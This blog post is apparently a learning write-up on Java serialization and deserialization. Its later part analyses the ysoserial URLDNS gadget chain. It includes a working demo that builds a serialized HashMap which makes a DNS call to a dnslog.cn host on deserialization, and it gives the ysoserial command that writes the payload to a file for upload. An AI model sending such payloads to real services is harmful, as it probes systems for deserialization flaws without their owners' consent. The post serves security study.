MENU

JAVA序列化和反序列化

August 23, 2022 • Read: 632 • Code auditing

基本概述

这个之前打ctf遇见的php中的序列化和反序列化也差不多,就是为了对象的传输
但是Java序列化是指把Java对象转换为字节序列的过程;而Java反序列化是指把字节序列恢复为Java对象的过程。

其实序列化的目的就是通过网络传输对象或者说是将对象存储到文件系统,数据库,内存中。
9D5EE250924520E9DD48A070037E24EF.png

注意:序列化协议属于TCP/IP协议应用层的一部分

常见的序列化和反序列化协议
kryo:https://github.com/EsotericSoftware/kryo
protobuf:https://github.com/protocolbuffers/protobuf
protostuff:https://github.com/protostuff/protostuff
然后就是jdk自带的序列化和反序列化接口了,然后就是还有JSON和xml这类二进制序列化协议

序列化的实现

JDK自带的序列化
只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。

Serializable 接口

介绍
是 Java 提供的序列化接口,它是一个空接口

public interface Serializable {
}

Serializable 用来标识当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。
基本使用
通过 ObjectOutputStream 将需要序列化数据写入到流中,因为 Java IO 是一种装饰者模式,因此可以通过 ObjectOutStream 包装 FileOutStream 将数据写入到文件中或者包装 ByteArrayOutStream 将数据写入到内存中。

在序列化中有几点是需要我们注意的:

  1. 序列化类的属性没有实现 Serializable 那么在序列化就会报错。
  2. 父类如果没有实现序列化接口,那么将需要提供无参构造函数来重新创建对象。
  3. 一个实现 Serializable 接口的子类也是可以被序列化的。
  4. 静态成员变量是不能被序列化。
  5. transient 标识的对象成员变量不参与序列化。

实例说明:

package Serializabletest;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class Serializabletest {
    public static void main(String[] args) throws IOException {
        Person person = new Person("李华",10);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(person);
        System.out.println(byteArrayOutputStream);

    }

}
class Person implements Serializable{
    private String name;
    private int age;
    public Person(String name,int age){
        this.name=name;
        this.age=age;
    }

    @Override
    public String toString() {
        return "Person(" +
                "name='" + name + '\'' +
                ",age=" + age +
                ")";
    }
}

输出
截屏2022-08-24 10.39.33.png

因为是序列化之后的二进制字节流数组,所以是乱码的
然后我们再来把数据写入文件
实例说明:

package Serializabletest;

import java.io.*;

public class Serializabletest {
    public static void main(String[] args) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("person.txt"));
        Person person = new Person("李华",10);
        objectOutputStream.writeObject(person);
        System.out.println("序列化成功");

    }

}
class Person implements Serializable{
    private String name;
    private int age;
    public Person(String name,int age){
        this.name=name;
        this.age=age;
    }

    @Override
    public String toString() {
        return "Person(" +
                "name='" + name + '\'' +
                ",age=" + age +
                ")";
    }
}

输出
截屏2022-08-24 10.50.08.png

成功写入文件

serialVersionUID

序列化号 serialVersionUID 属于版本控制的作用。序列化的时候 serialVersionUID也会被写入二级制序列,当反序列化时会检查 serialVersionUID 是否和当前类的 serialVersionUID 一致。如果serialVersionUID 不一致则会抛出 InvalidClassException 异常。强烈推荐每个序列化类都手动指定其serialVersionUID,如果不手动指定,那么编译器会动态生成默认的序列化号。

什么情况下我们需要主动修改serialVersionUID

  1. 如果只是修改了方法,反序列化不容影响,则无需修改版本号;
  2. 如果只是修改了静态变量,瞬态变量(transient修饰的变量),反序列化不受影响,无需修改版本号;
  3. 如果修改了非瞬态变量,则可能导致反序列化失败。如果新类中实例变量的类型与序列化时类的类型不一致,则会反序列化失败,这时候需要更改serialVersionUID。如果只是新增了实例变量,则反序列化回来新增的是默认值;如果减少了实例变量,反序列化时会忽略掉减少的实例变量。

反序列化

反序列化使用java.io.ObjectInputStream,这个代表对象输入流,里面的readObject()方法可以从一个源输入字节流里读取数据,然后将其转为对应的对象。

反序列化需要满足的条件

  1. 创建一个对象输出流ObjectInputStream
  2. 通过对象输出流的readObject()方法输出对象

实例说明:

package Serializabletest;

import java.io.*;

public class Serializabletest {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("person.txt"));
        Person o = (Person) objectInputStream.readObject();
        System.out.println("反序列化成功");
        System.out.println(o);

    }

}
class Person implements Serializable{
    private String name;
    private int age;
    public Person(String name,int age){
        this.name=name;
        this.age=age;
    }

    @Override
    public String toString() {
        return "Person(" +
                "name='" + name + '\'' +
                ",age=" + age +
                ")";
    }
}

输出
截屏2022-08-24 11.15.56.png

成功反序列化,很简单就不多说了

总结

  1. 所有需要网络传输的对象都需要实现序列化接口,通过建议所有的javaBean都实现Serializable接口。
  2. 对象的类名、实例变量(包括基本类型,数组,对其他对象的引用)都会被序列化;方法、类变量、transient实例变量都不会被序列化。
  3. 如果想让某个变量不被序列化,使用transient修饰。
  4. 序列化对象的引用类型成员变量,也必须是可序列化的,否则,会报错。
  5. 反序列化时必须有序列化对象的class文件。
  6. 当通过文件、网络来读取序列化后的对象时,必须按照实际写入的顺序读取。
  7. 同一对象序列化多次,只有第一次序列化为二进制流,以后都只是保存序列化编号,不会重复序列化。
  8. 建议所有可序列化的类加上serialVersionUID 版本号,方便项目升级。

URLDNS

首先我们得知道序列化产生安全问题的原因

  1. 入口类的readObject直接调用危险方法
  2. 入口类参数中包含可控类,该类有危险方法,readObject调用
  3. 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。ysoserial 打包成jar命令 mvn clean package -DskipTests,刚刚入门所以用这条链作为学习反序列化的开始。

Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

很简单的利用链
首先我们来看看HashMap
首先这个函数是调用了Serializable接口的
截屏2022-08-24 14.26.46.png

URLDNS 类的 readObject ⽅法,ysoserial会调⽤这个⽅法获得Payload
截屏2022-08-24 14.35.04.png

这里重写了readObject方法,重写方法因为HashMap<K,V>存储数据采用的哈希表结构,元素的存取顺序不能保证一致。由于要保证键的唯一、不重复,在反序列化过程中就需要对Key进行hash,这样一来就需要重写readObject方法。重点就是后续的hash()
截屏2022-08-24 14.36.41.png

继续跟进hash(),可以看到,这里使用传入参数对象key的hashCode方法。
截屏2022-08-24 14.42.31.png

很多类中都具有hashCode方法(用来进行哈希),所以接下来考虑有没有可能存在某个特殊的类M,其hashCode方法中直接或间接可调用危险函数。这条URLDNS链中使用的执行类就是URL类。看URL类之前,还需要确定一下HashMap在readObject过程中能够正常执行到putVal()方法这里,以及传入hash方法中的参数对象keys是可控的。

可以看到,参数对象Key由s.readObject()获取,s是输入的序列化流,证明key是可控的。只要mappings的长度大于0,也就是序列化流不为空就满足利用条件。在ysoserial里面key是传入的url(java.net.URL)对象,接着看java.net.URL里面的hashCode方法
截屏2022-08-24 15.03.03.png

可以看到当hashCode属性的值为-1时,跳过if条件,执行handler对象的hashCode方法,并将自身URL类的实例作为参数传入。继续跟进 handler.hashCode()
截屏2022-08-24 15.05.51.png

调⽤getHostAddress⽅法,继续跟进
截屏2022-08-24 15.07.30.png

getHostAddress方法中会获取传入的URL对象的IP,这里InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次DNS查询。

思路就是只需要初始化⼀个 java.net.URL 对象,作为 key 放在 java.util.HashMap中;然后,设置这个 URL 对象的 hashCode 为初始值 -1 ,这样反序列化时将会重新计算
其 hashCode ,才能触发到后⾯的DNS请求,否则不会调⽤ URL->hashCode() 。
但是有一点需要注意的是HashMap.put方法中也会调用hash函数
截屏2022-08-24 16.37.47.png

这里也会进入到hash方法里面会触发一次dns请求,但是又需要用到HashMap的put方法来给key赋值,但是我们这个DNS解析需要HsahCode初始值为-1才能除法,所有我们可以先传一个不是-1的参数,然后再用我们之前学习的反射进行修改即可。

链子就很清晰了,那现在我们来写一个demo:

package Serializabletest;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

@SuppressWarnings("all")
public class Serializabletest {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        @SuppressWarnings("all")
        HashMap<URL, Integer> objectObjectHashMap = new HashMap<URL, Integer>();
        URL url = new URL("http://5xjcgg.dnslog.cn");
        Class<? extends URL> aClass = url.getClass();
        Field hashCode = aClass.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url,1);///避免第一次请求dns解析
        objectObjectHashMap.put(url,1);
        hashCode.set(url,-1);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("hash.txt"));
        objectOutputStream.writeObject(objectObjectHashMap);
        System.out.println("序列化成功");


        //反序列化的readObject来触发dns解析
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("hash.txt"));
        objectInputStream.readObject();
        System.out.println("反序列化成功");

    }
}

发现确实有回显
截屏2022-08-24 17.36.26.png

上面涉及的反射可以看我的:http://blog.m1kael.cn/index.php/archives/421/

这里就利用成功了,然后我们再来看一下ysoserial的payload

ysoserial.URLDNS

打开GeneratePayload.java,找到main方法

    public static void main(final String[] args) {
        if (args.length != 2) {
            printUsage();
            System.exit(USAGE_CODE);
        }
    //用打包出来的jar,生成序列化的文件时,ysoserial获取外面传入的参数,并赋值给对应的变量。
        final String payloadType = args[0]; // URLDNS
        final String command = args[1]; //http://oaxjzb.dnslog.cn
        //接着执行Utils.getPayloadClass("URLDNS");,根据全限定类名ysoserial.payloads.URLDNS,获取对应的Class类对象。
        final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
        if (payloadClass == null) {
            System.err.println("Invalid payload type '" + payloadType + "'");
            printUsage();
            System.exit(USAGE_CODE);
            return; // make null analysis happy
        }
        
        try {
      //通过反射创建Class类对应的对象,URLDNS对象创建完成。
            final ObjectPayload payload = payloadClass.newInstance();
      //然后执行执行URLDNS对象中的getObject方法
            final Object object = payload.getObject(command);
            PrintStream out = System.out;
            Serializer.serialize(object, out);
            ObjectPayload.Utils.releasePayload(payload, object);
        } catch (Throwable e) {
            System.err.println("Error while generating or serializing payload");
            e.printStackTrace();
            System.exit(INTERNAL_ERROR_CODE);
        }
        System.exit(0);
    }

然后就是URLDNS类getObject方法

public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                              //创建了URLStreamHandler对象
                URLStreamHandler handler = new SilentURLStreamHandler();
                                //创建了HashMap对象
                HashMap ht = new HashMap(); // HashMap that will contain the URL
                              //URL对象 
                URL u = new URL(null, url, handler); // URL to use as the Key
                              //将URL对象作为HashMap中的key,dnslog地址为值,存入HashMap中。
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
                                //通过反射机制 设置URL对象的成员变量hashCode值为-1
                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
                                //将HashMap对象返回
                return ht;
        }

接着对HashMap对象进行序列化操作Serializer.serialize(object, out);

    public static byte[] serialize(final Object obj) throws IOException {
        final ByteArrayOutputStream out = new ByteArrayOutputStream();
        serialize(obj, out);
        return out.toByteArray();
    }

    public static void serialize(final Object obj, final OutputStream out) throws IOException {
        final ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
    }

并将序列化的结果重定向到dnslog.ser文件中,然后上传到可以反序列化的点来触发URLDNS这条链
具体使用就是:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://xxx.dnslog.cn" > dnslog.ser

还有就是ysoserial为了防⽌在⽣成Payload的时候也执⾏了URL请求和DNS查询,所以重写了⼀个 SilentURLStreamHandler 类,这不是必须的。具体实现就不用详细写了

参考

https://cloud.tencent.com/developer/article/1940432
http://c1oud.club/index.php/archives/308/#menu_index_4

Last Modified: August 25, 2022
Archives Tip
QR Code for this page
Tipping QR Code